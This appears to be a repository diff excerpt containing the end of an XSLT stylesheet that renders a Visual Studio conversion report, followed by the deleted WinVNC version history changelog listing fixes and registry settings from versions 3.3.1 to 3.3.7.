<xsl:for-each select="Event">
<!--xsl:sort select="@Project" order="descending"/-->
<xsl:if test="(1=position()) or (preceding-sibling::*[1]/@Project != @Project)">
<xsl:variable name="ProjectName" select="@Project"/>
<project>
<xsl:attribute name="name">
<xsl:value-of select="@Project"/>
</xsl:attribute>
<xsl:if test="@Project=''">
<xsl:attribute name="solution">
<xsl:value-of select="@Solution"/>
</xsl:attribute>
</xsl:if>
<xsl:for-each select="key('ProjectKey', $ProjectName)">
<!--xsl:sort select="@Source" /-->
<xsl:if test="(1=position()) or (preceding-sibling::*[1]/@Source != @Source)">
<source>
<xsl:attribute name="name">
<xsl:value-of select="@Source"/>
</xsl:attribute>
<xsl:variable name="Source">
<xsl:value-of select="@Source"/>
</xsl:variable>
<xsl:for-each select="key('ProjectKey', $ProjectName)[ @Source = $Source ]">
<event>
<xsl:attribute name="error-level">
<xsl:value-of select="@ErrorLevel"/>
</xsl:attribute>
<xsl:attribute name="description">
<xsl:value-of select="@Description"/>
</xsl:attribute>
</event>
</xsl:for-each>
</source>
</xsl:if>
</xsl:for-each>
</project>
</xsl:if>
</xsl:for-each>
</projects>
</xsl:template>
<xsl:template match="projects">
<xsl:for-each select="project">
<xsl:sort select="@Name" order="ascending"/>
<h2>
<xsl:if test="@solution"><a _locID="Solution">Solution</a>: <xsl:value-of select="@solution"/></xsl:if>
<xsl:if test="not(@solution)"><a _locID="Project">Project</a>: <xsl:value-of select="@name"/>
<xsl:for-each select="source">
<xsl:variable name="Hyperlink" select="@name"/>
<xsl:for-each select="event[@error-level='4']">
&#32;<A class="note"><xsl:attribute name="HREF"><xsl:value-of select="$Hyperlink"/></xsl:attribute><xsl:value-of select="@description"/></A>
</xsl:for-each>
</xsl:for-each>
</xsl:if>
</h2>
<table cellpadding="2" cellspacing="0" width="98%" border="1" bordercolor="white" class="infotable">
<tr>
<td nowrap="1" class="header" _locID="Filename">Filename</td>
<td nowrap="1" class="header" _locID="Status">Status</td>
<td nowrap="1" class="header" _locID="Errors">Errors</td>
<td nowrap="1" class="header" _locID="Warnings">Warnings</td>
</tr>
<xsl:for-each select="source">
<xsl:sort select="@name" order="ascending"/>
<xsl:variable name="source-id" select="generate-id(.)"/>
<xsl:if test="count(event)!=count(event[@error-level='4'])">
<tr class="row">
<td class="content">
<A HREF="javascript:"><xsl:attribute name="onClick">javascript:document.images['<xsl:value-of select="$source-id"/>'].click()</xsl:attribute><IMG border="0" _locID="IMG.alt" _locAttrData="alt" alt="expand/collapse section" class="expandable" height="11" onclick="changepic()" src="_UpgradeReport_Files/UpgradeReport_Plus.gif" width="9" ><xsl:attribute name="name"><xsl:value-of select="$source-id"/></xsl:attribute><xsl:attribute name="child">src<xsl:value-of select="$source-id"/></xsl:attribute></IMG></A>&#32;<xsl:value-of select="@name"/>
</td>
<td class="content">
<xsl:if test="count(event[@error-level='3'])=1">
<xsl:for-each select="event[@error-level='3']">
<xsl:if test="@description='Converted'"><a _locID="Converted1">Converted</a></xsl:if>
<xsl:if test="@description!='Converted'"><xsl:value-of select="@description"/></xsl:if>
</xsl:for-each>
</xsl:if>
<xsl:if test="count(event[@error-level='3'])!=1 and count(event[@error-level='3' and @description='Converted'])!=0"><a _locID="Converted2">Converted</a>
</xsl:if>
</td>
<td class="content"><xsl:value-of select="count(event[@error-level='2'])"/></td>
<td class="content"><xsl:value-of select="count(event[@error-level='1'])"/></td>
</tr>
<tr class="collapsed" bgcolor="#ffffff">
<xsl:attribute name="id">src<xsl:value-of select="$source-id"/></xsl:attribute>
<td colspan="7">
<table width="97%" border="1" bordercolor="#dcdcdc" rules="cols" class="issuetable">
<tr>
<td colspan="7" class="issuetitle" _locID="ConversionIssues">Conversion Issues - <xsl:value-of select="@name"/>:</td>
</tr>
<xsl:for-each select="event[@error-level!='3']">
<xsl:if test="@error-level!='4'">
<tr>
<td class="issuenone" style="border-bottom:solid 1 lightgray">
<xsl:value-of select="@description"/>
</td>
</tr>
</xsl:if>
</xsl:for-each>
</table>
</td>
</tr>
</xsl:if>
</xsl:for-each>
<tr valign="top">
<td class="foot">
<xsl:if test="count(source)!=1">
<xsl:value-of select="count(source)"/><a _locID="file1"> files</a>
</xsl:if>
<xsl:if test="count(source)=1">
<a _locID="file2">1 file</a>
</xsl:if>
</td>
<td class="foot">
<a _locID="Converted3">Converted</a>:&#32;<xsl:value-of select="count(source/event[@error-level='3' and @description='Converted'])"/><BR />
<a _locID="NotConverted">Not converted</a>:&#32;<xsl:value-of select="count(source) - count(source/event[@error-level='3' and @description='Converted'])"/>
</td>
<td class="foot"><xsl:value-of select="count(source/event[@error-level='2'])"/></td>
<td class="foot"><xsl:value-of select="count(source/event[@error-level='1'])"/></td>
</tr>
</table>
</xsl:for-each>
</xsl:template>
<xsl:template match="Property">
<xsl:if test="@Name!='Date' and @Name!='Time' and @Name!='LogNumber' and @Name!='Solution'">
<tr><td nowrap="1"><b><xsl:value-of select="@Name"/>: </b><xsl:value-of select="@Value"/></td></tr>
</xsl:if>
</xsl:template>
<xsl:template match="UpgradeLog">
<html>
<head>
<META HTTP-EQUIV="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="_UpgradeReport_Files\UpgradeReport.css" />
<title _locID="ConversionReport0">Conversion Report&#32;
<xsl:if test="Properties/Property[@Name='LogNumber']">
<xsl:value-of select="Properties/Property[@Name='LogNumber']/@Value"/>
</xsl:if>
</title>
<script language="javascript">
function outliner () {
oMe = window.event.srcElement
//get child element
var child = document.all[event.srcElement.getAttribute("child",false)];
//if child element exists, expand or collapse it.
if (null != child)
child.className = child.className == "collapsed" ? "expanded" : "collapsed";
}
function changepic() {
uMe = window.event.srcElement;
var check = uMe.src.toLowerCase();
if (check.lastIndexOf("upgradereport_plus.gif") != -1)
{
uMe.src = "_UpgradeReport_Files/UpgradeReport_Minus.gif"
}
else
{
uMe.src = "_UpgradeReport_Files/UpgradeReport_Plus.gif"
}
}
</script>
</head>
<body topmargin="0" leftmargin="0" rightmargin="0" onclick="outliner();">
<h1 _locID="ConversionReport">Conversion Report - <xsl:value-of select="Properties/Property[@Name='Solution']/@Value"/></h1>
<p><span class="note">
<b _locID="TimeOfConversion">Time of Conversion:</b>&#32;&#32;<xsl:value-of select="Properties/Property[@Name='Date']/@Value"/>&#32;&#32;<xsl:value-of select="Properties/Property[@Name='Time']/@Value"/><br/>
</span></p>
<xsl:variable name="SortedEvents">
<Events>
<xsl:for-each select="Event">
<xsl:sort select="@Project" order="ascending"/>
<xsl:sort select="@Source" order="ascending"/>
<xsl:sort select="@ErrorLevel" order="ascending"/>
<Event>
<xsl:attribute name="Project"><xsl:value-of select="@Project"/> </xsl:attribute>
<xsl:attribute name="Solution"><xsl:value-of select="/UpgradeLog/Properties/Property[@Name='Solution']/@Value"/> </xsl:attribute>
<xsl:attribute name="Source"><xsl:value-of select="@Source"/> </xsl:attribute>
<xsl:attribute name="ErrorLevel"><xsl:value-of select="@ErrorLevel"/> </xsl:attribute>
<xsl:attribute name="Description"><xsl:value-of select="@Description"/> </xsl:attribute>
</Event>
</xsl:for-each>
</Events>
</xsl:variable>
<xsl:variable name="Projects">
<xsl:apply-templates select="msxsl:node-set($SortedEvents)/*" mode="createProjects"/>
</xsl:variable>
<xsl:apply-templates select="msxsl:node-set($Projects)/*"/>
<p></p><p>
<table class="note">
<tr>
<td nowrap="1">
<b _locID="ConversionSettings">Conversion Settings</b>
</td>
</tr>
<xsl:apply-templates select="Properties"/>
</table></p>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Binary file not shown.

Before

Width:  |  Height:  |  Size: 69 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 B

View File

@ -1,798 +0,0 @@
WinVNC Version History
Version 3.3.7 (RealVNC Version 3.3.7)
Changes from 3.3.6:
Removed use of Win32 HRGN API completely. Regions are now implemented
using the X11 region code, nobbled just enough to build properly.
Fixed a memory leak in the Win32 HRGN API, just in case it ever gets fixed.
Changed the VNCHooks defaults to use deferred updates, and to hook key
press events - may cause performance issues and ActiveX issues, but
they are the best settings for most systems.
Fixed a bug in the processing of passwords supplied in the Properties dialog
that affected use of Latin-1 characters with ASCII codes of 128 or above.
Version 3.3.6 (RealVNC Version 3.3.6)
Changes from 3.3.5:
The WinVNC service helper now attempts to contact the server for
up to a minute, to cope with users logging on to XP machines before
the service has had a chance to start. Avoids the tray icon not being
shown.
When run as an application, WinVNC will always display the tray icon.
Renamed omnithread2_rt.dll to othread2.dll to work around a
problem with the InnoSetup installer.
Added concurrency-protection around all uses of Win32 HRGN API
routines, to avoid a possible bug in the Win32 API when used
by multi-threaded programs.
Clipboard contents are now sent to clients even if no graphical
updates are available.
Advanced VNCHooks.dll settings can now be specified on a per-
machine basis, not just per-user.
Fixed rare condition in VNCHooks.dll that could prevent user
profiles from being unloaded correctly.
Fixed timeout bug in HTTP server.
Version 3.3.5 (RealVNC Version 3.3.5)
Changes from 3.3.4b1:
A race-condition when first configuring the server has been fixed.
The password field in the Properties dialog is now handled better.
Active Desktop backgrounds can now be handled by RemoveWallpaper.
Mouse wheels are now supported.
The Add New Client dialog now accepts specifications of the form
<hostname>:<display> or <hostname>:<port>, to allow listening
viewers to be used that are listening on ports other than the default.
The AllowEditClients registry option is used like AllowProperties,
and allows VNC to be configured not to show the Add New Client or
Kill All Clients menu items in the tray icon menu.
Implemented the -reinstall option, which unregisters the WinVNC
service if registered, then re-registers it.
Fixed bug in fast blit code when pixel format changes from one
supporting fast blits to a munged format.
Version 3.3.4b1 (RealVNC Version 3.3.4, Beta Release 1)
Changes from AT&T Labs' Version 3.3.3 Revision 10:
Delphi apps should no longer crash when run alongside VNC.
WinVNC nows gives a slightly more useful error message if -install is used
while the service is already registered,
The logging-related buffer overflow exploits should no longer be possible.
Added several options to the Properties dialog.
The current password is not stored in the Properties dialog when
displayed, preventing it from being read by other programs.
The HTTP server can be disabled by the HTTPConnect registry key.
LockSettings can now lock Windows 2000/XP boxes on disconnect.
Improved update tracking code.
Fixed LF/CRLF problem in HTTP server.
Clients are no longer disconnected if pixel format changes.
They WILL be disconnected if the display size changes.
Update hooking and transmission now decoupled.
Optimised checking of update regions for changes for case where
clients are connected which do not request updates (often).
Optimised for multiple simultaneous client connections.
Upgraded omnithread library.
Rationalised source tree a little.
Renamed "log" to "vnclog" to avoid log() function clashes.
Version 3.3.3 (VNC Version 3.3.3, revision 10)
Changes from Version 3.3.3 Revision 9:
Fixed signature of RegisterServiceProcess.
Fixed incorrect call of errno to call wsagetlasterror.
Fixed keymapping of circumflex character, etc.
Added extra debug logging in desktop hook code.
Removed warning about connected users in logoff handling code.
Version 3.3.3 (VNC Version 3.3.3, revision 9)
Changes from Version 3.3.3 Revision 8:
Fixed handling of empty (match all) AuthHosts filters.
WinVNC.log will now be moved to WinVNC.log.bak when WinVNC runs.
Version 3.3.3 (VNC Version 3.3.3, revision 8)
Changes from Version 3.3.3 Revision 7:
-=- Bug Fixes to WinVNC:
Fixed clipboard handling.
Fixed AddClient semantics in vncServer to avoid a socket leak.
Fixed AuthHosts dialog display. Now flashes titlebar/tray button if not foreground window.
Fixed AuthHosts string parsing. Filters such as 10.0.0.1 no longer match 10.0.0.10.
QuerySetting didn't work correctly if the AuthHosts string was empty. Fixed.
Closing the screen-saver now works, so it's back in there.
Changed the shutdown-dialog behaviour. It now only operates in application mode.
-=- Bug Fixes to VNCHooks:
Added HooksType() function to VNChooks so that the library may be replaced with a reliable
hooking version easily.
VNCHooks DLL did not remove properties from windows correctly when
UnsetHooks() was called. Fixed.
-=- Minor Fixes
Implemented the wallpaper-culling feature during remote connections.
Added automatic culling of "idle" connections, if required, via the IdleTimeout setting.
An idle connection is one in which the client has sent no data for a fixed period,
whether the data be an update request, input events, or clipboard data.
Only incoming connections are now checked for validity. Outgoing (Add New Client)
or CORBA-initiated connections are not checked via AuthHosts.
Version 3.3.3 (VNC Version 3.3.3, revision 7)
Changes from Version 3.3.3 Revision 6:
WinVNC did not correctly handle Winsock1.1, causing all client connections to be
erroneously dropped by the anti-DoS code. Now fixed.
Version 3.3.3 (VNC Version 3.3.3, revision 6)
Changes from Version 3.3.3 Revision 4:
The anti denial-of-service blacklist code was very buggy. It's now fixed.
An serious potential deadlock condition in the negotiation phase of new
clients has been fixed. The problem was incredibly rare on uniprocessors
but much more noticable on multiprocessors, unsurprisingly.
Pointer is now rendered slightly better.
Version 3.3.3 (VNC Version 3.3.3, revision 4)
Changes from Version 3.3.3 Revision 3:
Implemented some simple Denial-of-Service protection. After five consecutive failed
connection attempts from a client, that client is "blacklisted" for ten seconds.
In addition, connections which hang before the authentication stage has completed are
timed out after thirty seconds, to prevent malicious users gradually eating up socket
resources.
Corrected a bug initialising the back-buffer.
Added hooking for dialog boxes, menus and scrollbars. Seems to fix some dialogs but not
many scrollbars or menus..
Improved the GetChangedRect code with some alignment patches suggested by Will Dean.
Fixed an *IDIOTIC* bug in the handling of user-specific settings. They were completely
broken before. Now they should work. I'm such an idiot. Idiot idiot idiot.
See MS Knowledge Base articles Q168877 & Q199190.
The idiot bug-fix above broke roaming profiles on NT domains! That's now fixed, too.
Idiot idiot idiot.
Added a dialog to query whether to accept or reject incoming connections. The dialog is
currently controlled ONLY via the registry! The AuthHosts setting is now extended, while
some new user-specific settings are provided so that users can tailor the query feature.
Relevant keys are:
- QuerySetting (DWORD) (local&global user-specific)
[Least secure]
0 - Accept or Query. If AuthHosts says Reject then query, otherwise Accept.
1 - Accept or Reject. Reject if AuthHosts says so, otherwise Accept.
2 - Obey AuthHosts. Obey AuthHosts Accept, Query, Reject settings. [Default!]
3 - Query or Reject. If AuthHosts says Reject then Reject, otherwise Query.
4 - Ultimate Paranoia. If AuthHosts says Accept then Query, otherwise Reject!
[Most secure]
Summary: Actual Effect
Setting Accept Query Reject
0 a a q
1 a a r
2 a q r
3 q q r
4 q r r
- QueryTimeout (DWORD) (local&global user-specific)
Number of seconds before Accept/Reject dialog should timeout and reject.
- AuthHosts (SZ) (machine-local)
Match terms may now start with "-", "+" or "?". "?" indicates that the connection
attempt should be queried.
Version 3.3.3 (VNC Version 3.3.3, revision 3)
Changes from Version 3.3.3 Revision 2:
Implemented Will Dean's DIBsection patch to retrive screen data. This reduces
both the retrieval time & the memory usage of WinVNC but currently only works
for VNC-format-compatible 16 and 32 bit displays. If your display is incompatible
then WinVNC falls back to the old, slow, memory hungry mode.
Fixed a bug in VNCHooks which cause very large updates to be spuriously created on occasion.
vncKeymap now filters out the three Lock keys (CapsLock, NumLock, ScrollLock), so that
they can be safely used at the client side without generating random keystrokes on the
server.
Version 3.3.3 (VNC Version 3.3.3, revision 2)
Changes from Version 3.3.3 Revision 1:
Added the new "Disable Local Keyboard & Pointer" option to the Properties dialog.
This features currently allows the keyboard & pointer of the sever machine to be
disabled while a remote connection is in progress.
The feature only works under Windows NT at present.
NB:This is a BETA feature, with a known limitation - if the setting
is changed then all clients must disconnect and reconnect to achieve the desired
effect.
The -connect command-line option has been added, allowing new outgoing connections
to be made using a script or an icon.
The Add New Client and -connect options now make shared outgoing connections, since
this is usually preferable to unshared outgoing connections.
Improved the way preferences are loaded, reducing the number of times the client will
be disconnected when settings are loaded & saved.
Version 3.3.3 (VNC Version 3.3.3, revision 1)
Release version, patched for HTML bug below.
[The initial 3.3.3 release featured a bug in the rendering of HTML for the Java-based
viewer. 3.3.3 was quickly withdrawn and 3.3.3R1 is now the base Version 3.3.3 release.]
-=- NEW FEATURES:
REGISTRY SETTINGS ARE NOW LOADED CORRECTLY FROM THE CURRENT_USER REGISTRY HIVE!
When running as a service under Windows NT, WinVNC was unable to correctly load
settings stored in the current user's HKEY_CURRENT_USER hive. As a workaround
for this, a special helper-hook is installed when the service itself is
installed. The helper-hook runs when a user logs in and passes enough information
to the WinVNC service for it to locate their preferences correctly.
If the helper hook fails to install or isn't run for some reason, then WinVNC
will continue to operate based on ALL the WinVNC HKEY_LOCAL_MACHINE settings.
A new command-line option, -defaultsettings, has been added, which will cause the
running WinVNC server to show a Default Properties dialog, through which the default
local properties can be editted. (While the dialog is displayed, the properties used
will be the default ones. When it dissappears, WinVNC reverts to the user's settings.)
Nagle's algorithm is now disabled on all WinVNC connections, decreasing latency
considerably.
Timestamp information is now added in the debug log output.
Limited client IP-address based filtering of connections is now supported.
The new Machine-Local registry setting "AuthHosts" may be specified, and should
be of type "string".
Match terms look like:
+<ip-address-template>
-<ip-address-tamplate>
where ip-address-template is the leftmost bytes of the stringified IP-address,
e.g. 158.97 would match both 158.97.54.1 and 158.97.128.6, for example.
Multiple Match terms may be specified, delimited by the ':' character.
Match terms later in the list take precedence over earlier ones.
e.g. -:+158.97:
[This scheme does not currently filter by DNS name]
In addition to the above, incoming connections may be restricted on a server-wide
basis to being accepted only on the local-loopback interface. This is controlled
through the LoopbackOnly registry setting, which overrides the AllowLoopback and
AuthHosts settings when active.
The WinVNC priority is now increased while processing its message queue and put
back to normal while preparing updates for sending. This results in apparent
increase in performance, particularly when used in conjunction with some common
applications.
The machine's name is now included in the title of the web page used to access the
Java version of the VNC client.
-=- BUG FIXES:
- Major:
Under Windows NT, a handle was leaked whenever the SelectDesktop function was
called to move a thread into a different desktop. In practice, this meant a leak
everytime someone logged in, connected remotely, or used C-A-D to access security
features in NT. Not pretty.
Related to the above fix: When simulating Ctrl-Alt-Del, WinVNC would switch a
dedicated thread into the WinLogon desktop to achieve the desired effect. When
the thread quit, the handle to the WinLogon desktop was not properly freed by
WinNT. This is now worked around by WinVNC internally.
When killing the vncServer object, a race condition occurred because
WaitUntilAuthEmpty() was used to wait for ALL clients being removed - potentially,
there could have been active, unauthorised clients connected to the vncServer
object, which would crash if the server object was deleted before they had quit.
A new function, WaitUntilUnauthEmpty, is now used as well as WaitUntilAuthEmpty,
to remove this race condition.
- Minor:
The LockSetting option was not correctly loaded by the Properties class in some
common cases. This is now fixed.
WinVNC was using ExitWindows but specifying parameters according to the
specification of ExitWindowsEx. ExitWindowsEx is now used instead.
-=- OTHER MODIFICATIONS:
When starting up without a password set, WinVNC will first check whether the
Properties dialog has been disabled with AllowProperties=0 before attempting
to open it for the user to set one. Instead a dialog indicating the problem
will be displayed.
-=- NOTES:
BUGLET:PLANAR vs CHUNKY. It transpires that problems encountered with WinVNC and
16-colour Windows 95 displays are due to Win95 VGA drivers giving a "planar" view
of the world. Internally, Win95 is very bad at handling planar pixels and is
also very bad at making them chunky. WinNT does not have this problem. A new
error dialog has been added to warn about this problem on Win95.
Version 3.3.2 (VNC Version 3.3.2, revision 8)
Changes from revision 7:
Fix in VNCHooks.cpp (part of the WinVNC hooks library) to place
the hook handles in a shared segment of DLL memory, so that they are correctly
accessed by the hook code itself.
Fix in vncKeymap.cpp which should sort out the CapsLock on connect problem.
Added an Initiate Outgoing Connection (Add New Client) dialog. If a machine is
running a vncviewer with the -listen option then WinVNC can be made to export
the display it is managing to this listening viewer.
NOTE : Outgoing connections are treated as 'non-shared'.
NOTES ON BUILDING UNDER VC6:
For compatibility reasons, WinVNC will remain a VC5 distribution for the moment.
However, some problems arise when compiling WinVNC under VC6.
- vncControl.idl is not supplied in the distribution and is ONLY USED
INTERNALLY at the AT&T Labs Cambridge.
It is disabled in the VC5 version of the project but conversion to VC6 format
re-enables it.
Solution : remove vncControl.idl from the project once it is imported into
Visual C++ 6, before compilation.
Fixed minor bug in Log.cpp code relating to invalid handles being returned by file
open call
Version 3.3.2 (VNC Version 3.3.2, revision 7)
Changes from revision 6:
Fixed HANDLE to HINSTANCE casting problem in VNCHooks.cpp, which prevented WinVNC
from compiling under Microsoft Visual C++ 6.0
Tray icon is now refreshed every five seconds. This may help detect dynamically added
IP addresses correctly
Every five seconds, WinVNC will re-attempt to add the tray icon, even under Win95.
If Explorer crashes or Windows 95 is being run then this should ensure the icon appears.
Version 3.3.2 (VNC Version 3.3.2, revision 6)
Changes from revision 5:
Fixed minor protocol non-compliance bug with regard to clients which fail to send
SetPixelFormat messages.
Fixed DOS-prompt polling under Windows 95. DOS boxes are now polled correctly.
Version 3.3.2 (VNC Version 3.3.2, revision 5)
Changes from revision 4:
Prepared WinVNC for release.
Fixed AuthRequired race condition.
Fixed AutoPortSelect bug.
Version 3.3.2 (VNC Version 3.3.2, revision 4)
Changes from revision 3:
Fixed a tray icon bug, in which the tray icon was being produced before the menu
had been loaded.
Replaced the thread package with the latest version, which fixes a few resource leaks.
Mouse events are now produced to reflect those sent on the wire, regardless of whether
the mouse buttons would locally be swapped by the OS. This means that left- or right-
handedness is a client-side feature.
Version 3.3.2 (VNC Version 3.3.2, revision 3)
Changes from revision 2:
SETTINGS REORGANIZED!
The WinVNC registry settings have now been reorganized and improved to allow better
control over individual user's capabilities when running it, whether as an application
or as a service.
Local machine settings are stored under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3
Local per user settings are stored under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/<username>
Local default user settings are stored under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/Default
Local no-user settings are stored under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/SYSTEM
Global per user settings are stored under HKEY_CURRENT_USER/Software/ORL/WinVNC3
These groups of settings have the following priority:
1. Machine settings are always read, from the machine settings location. Not overridable.
2. Default user settings are read.
3. Local-machine, per-user settings are read for the current user, or for SYSTEM if
there is no current user. These override the Default settings.
4. If AllowProperties is not zero, the global per-user settings are read.
These override both the Default settings & the local-machine, per-user settings.
- Local Only, Machine Settings : DebugMode, DebugLevel, AllowLoopback,
AuthRequired, ConnectPriority.
- Local Only, Per User Settings : AllowShutdown, AllowProperties.
- Local/Global, Per User Settings : SocketConnect, AutoPortSelect, PortNumber, Password,
CORBAConnect, InputsEnabled, LockSetting, PollUnderCursor,
PollForeground, PollFullScreen, OnlyPollConsole,
OnlyPollOnEvent
UPDATE ROUTINES FIXED!
If a client chose to send multiple update requests to the server without waiting for
the update data, then the server would only consider the last request. This behaviour
was incorrect and has now been fixed. As a result, WinVNC will now work properly with
the PalmVNC viewer.
HTTP SERVER FIXED!
The HTTP server section of WinVNC could end up listening on the wrong port number when
automatic display number selection was in use. This is now fixed.
MEMORY LEAK FIXED!
A small memory leak in the WinNT side of the vncService::CurrentUser function has been fixed.
Although the amount lost on each execution was small, the function is called often enough
for this to cause problems over long periods of use.
Established that the Ctrl-Alt-Del problem under NT 3.51 is because GetAsyncKeyState for
ctrl and alt ALWAYS returns zero. Don't know why...
Fixed a potential lockup when the Properties dialog is closed by the OS rather than by
the Ok or Cancel buttons.
Version 3.3.2 (VNC Version 3.3.2, revision 2)
Changes from revision 1:
CTRL-ALT-DEL IMPROVED!
Ctrl-Alt-Del will now work both with the Delete key and with the keypad Del key, from
Unix clients. Unix clients treat these two keys differently but Windows doesn't, so
WinVNC now maps both on to VK_DELETE internally.
MENU UPDATES IMPROVED!
Extra hook code has been added to the VNCHooks library to catch the messages used to
update the contents of pop-up menus, etc. As a result, menus tend to suffer much less
from the characteristic colour-smear effect.
Code is now in place to perform automatic locking or logoff of the workstation
when all remote clients have closed, for security reasons. Unfortunately, the
LockWorkstation function doesn't work on pre-NT5 machines, so only the logoff
functionality is implemented.
The new ConnectPriority option is available, on a per-machine basis. The
HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/ConnectPriority
setting can take one of three values:
0 - new, non-shared incoming connections kick off existing ones.
1 - all incoming connections are treated as shared, regardless of the -shared viewer option.
2 - new, non-shared incoming connections will be refused if a current connection exists.
Automatic display number selection is now available. This option is set through the WinVNC
properties dialog. When this option is used, the display number parameter in the dialog
is ignored and the display number to use is instead allocated on the fly by WinVNC.
Version 3.3.2 (VNC Version 3.3.2, revision 1)
Changes from base 3.3.2 release:
PALETTE-BASED CLIENTS SUPPORTED!
Clients which request 8-bit palette-based data are now supported by WinVNC.
Palette-based clients will get the best results from 8-bit palette mode
servers, due to the way in which truecolour is culled into 8-bit palettes.
svncviewer will now work with 8-bit WinVNC desktops as well as Xvnc ones.
LOGGING SUPPORTED!
Run-time logging of all internal debug messages is now supported. Log data
may be output to a file or a console window (or the MSVC debugger if the
program was compiled with debugging active.)
Two registry keys under HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3 are used:
DebugMode indicates which logging methods to use.
[1 = MSVC debugger]
2 = Output to log file Winvnc.log in the WinVNC directory
4 = Output to a console window, displayed on-screen
Any combination of the above values may be used.
DebugLevel indicates how much debug information to present. Any positive
integer is valid. Zero indicates that no debugging information should be
produced and is the default.
Loopback (local-machine) connections to WinVNC will now be allowed if the
HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/AllowLoopback registry entry is set
to 1. The default is 0.
Connections may now be made to WinVNC servers without requiring authentication
if the HKEY_LOCAL_MACHINE/Software/ORL/WinVNC3/AuthRequired registry entry is
set to 0. The default is 1.
Microsoft Developer Studio configurations are included (but not tested) for
Alpha NT, to make compilations for this platform more straightforward.
CopyRect is now handled differently and tends to give better results when
windows are dragged around the screen.
All notifications of potential updates to the screen are cached into a vncRegion
object in the vncDesktop thread and are only flushed to clients immediately
before TriggerUpdate is called, to improve performance.
Added a delay when the -kill option is used, to give the running copy time to quit.
Fixed a CopyRect-related bug which caused windows to scroll oddly when dragged
partially off the left or top of the screen.
Version 3.3.2 (VNC Version 3.3.2)
Release version.
Version 3.3.1 (VNC Version 3.3, revision 20a)
Changes from revision 19:
WinVNC now returns explanatory message text to the viewer when an incoming
connection is refused because of an empty Password field or a local-loopback
connection.
Mouse movements are now pre-processed by the Desktop handler and only passed to
the Client handlers immediately before an update is triggered, resulting in less
overhead and therefore lower latency.
If a client requests the CopyRect encoding in the list of encodings it supports
then WinVNC will now use the CopyRect primitive when doing simple tasks like
dragging windows. This still has some flaws in it but generally improves performance.
Updated the Java classes exported by WinVNC to include the Send-Ctrl-Alt-Del button.
Added a "-about" option, which will cause an _already running_ copy of WinVNC to
display its About box, making it easier to check that you have the latest version!
Added version information to the VNCHooks Dynamic Link Library. This can be viewed
selecting the properties dialog for the vnchooks.dll file.
Version 3.3.1 (VNC Version 3.3, revision 19)
Changes from revision 17:
A bug in the new region culling routine was fixed.
Version 3.3.1 (VNC Version 3.3, revision 17)
Changes from revision 16:
WIN-NT & WIN-95:
MS-DOS applications can now by typed into! Thanks to Gur Stavi for pointing
out that WinVNC didn't previously generate keyboard scancodes for key events.
This means that the COMMAND.COM and EDIT programs, for example, may now be
used through VNC.
Lookup-table based colour translations are now incorporated into WinVNC.
This means an increase in memory usage but delivers a noticable performance
boost on most screen formats.
1, 4 and 8 bit palette-based local displays are now handled directly by
WinVNC, resulting in a significant performance boost, although there are
currently problems with the palette layout being confused in places.
More intelligent culling of unchanged regions of the screen from the list of
rectangles to be sent has been implemented. Generally, this isn't noticable
but over low-bandwidth links, it should have a significant effect.
WM_ENDSESSION is handled properly for full system shutdown.
WM_DISPLAYCHANGE is now handled, so that when the display resolution changes,
all remote VNC users are disconnected, to prevent corrupt display updates.
The mouse cursor rendered to VNC clients is now correct most of the time.
When installing WinVNC as a service, quotes are now placed around the
executable's name, to avoid problems if there are whitespace characters
in the path. (Common because of installing to "program files\orl\vnc")
The command-line options available have changed slightly:
-run Causes WinVNC to run normally & ignore rest of command-line.
-install Installs the WinVNC service and continues reading the command-line.
-remove Removes the WinVNC service and continues reading the command-line.
-settings Tells a running copy of WinVNC to show its Properties box.
-kill Kills a running copy of WinVNC.
If no options are given then WinVNC runs normally.
Multiple option may be given, so, for example, to upgrade from a running copy
if WinVNC to a new one, you could use:
WinVNC_new -remove -install
which will stop & remove the old copy & install the new one, or
WinVNC_new -kill -run
which will stop the running copy & run the new version normally.
The Java viewer class files have been updated. The new classes are slightly more
compatible with borderline Java VMs.
Deferred update messages are no longer removed from the application's message queue
behind it's back, hopefully resulting in more reliable behaviour & fewer lock-ups.
The screen-saver is now not disabled when WinVNC is running in service mode and a
connection is made, to avoid a potential race condition. This will be handled better
in a future revision.
WIN-NT ONLY:
When running as a system service, WinVNC no longer disconnects all remote
VNC connections whenever the current desktop changes.
Corrected some problems with shift-key release code confusing Windows NT.
WIN-95 ONLY:
WM_USERCHANGED is handled, so that when no user is logged in, the
machine-local password is used, otherwise the user's own VNC password and
settings are used.
(This assumes that Windows 95 is set to Multiple User Profile mode)
Under Windows 95, WinVNC running in service mode no longer crashes when
told to stop by the -kill or -remove options.
The main text area of the Windows 95 console will now be polled by WinVNC
properly when the Poll Console Windows Only option is set.
Version 3.3.1 (VNC Version 3.3, revision 16)
Changes from revision 15:
The Revision 15 build was broken due to file timestamp corruption.
Revision 16 is a complete re-build.
Version 3.3.1 (VNC Version 3.3, revision 15)
Changes from revision 13:
WIN-NT & WIN-95:
WinVNC will now run as a service on both Windows NT and Windows 95.
Running WinVNC with the -install command-line option will install it into the system
service control manager and set it to auto-run on bootup. The -remove option will stop
the service if necessary and will then remove it.
WIN-95 : winvnc -install will cause the service to run immediately.
WIN-NT : winvnc -install will install the service into the manager but not start it.
To allow the per-machine settings for WinVNC to be changed even when WinVNC is running as
a service, the "-settings" option will cause the service to pop-up the properties dialog.
A bug which often caused the entire screen to be transmitted twice to a connecting
client is now fixed.
The general Shift, Alt and Control-related bugs, affecting non-UK/US keyboard layouts in
particular, are now corrected, with one important exception, mentioned in the NOTES
section below.
WIN-NT ONLY:
Ctrl-Alt-Del can be simulated by WinVNC if a client sends it, allowing users to log on
and off and to lock the workstation remotely.
WIN-95 ONLY:
Shift, Alt and Control were broken in Revision 13, since Windows 95 cannot distinguish
left and right shift keys at all. This is now fixed.
NOTES:
When typing into an application set to use keyboard layout A, using WinVNC run with
keyboard layout B, problems may be experienced because of WinVNC setting the wrong Shift
key states to generate particular characters. As long as only one keyboard layout is used
consistently across all applications, this shouldn't be a problem.
Version 3.3.1 (VNC Version 3.3, revision 13)
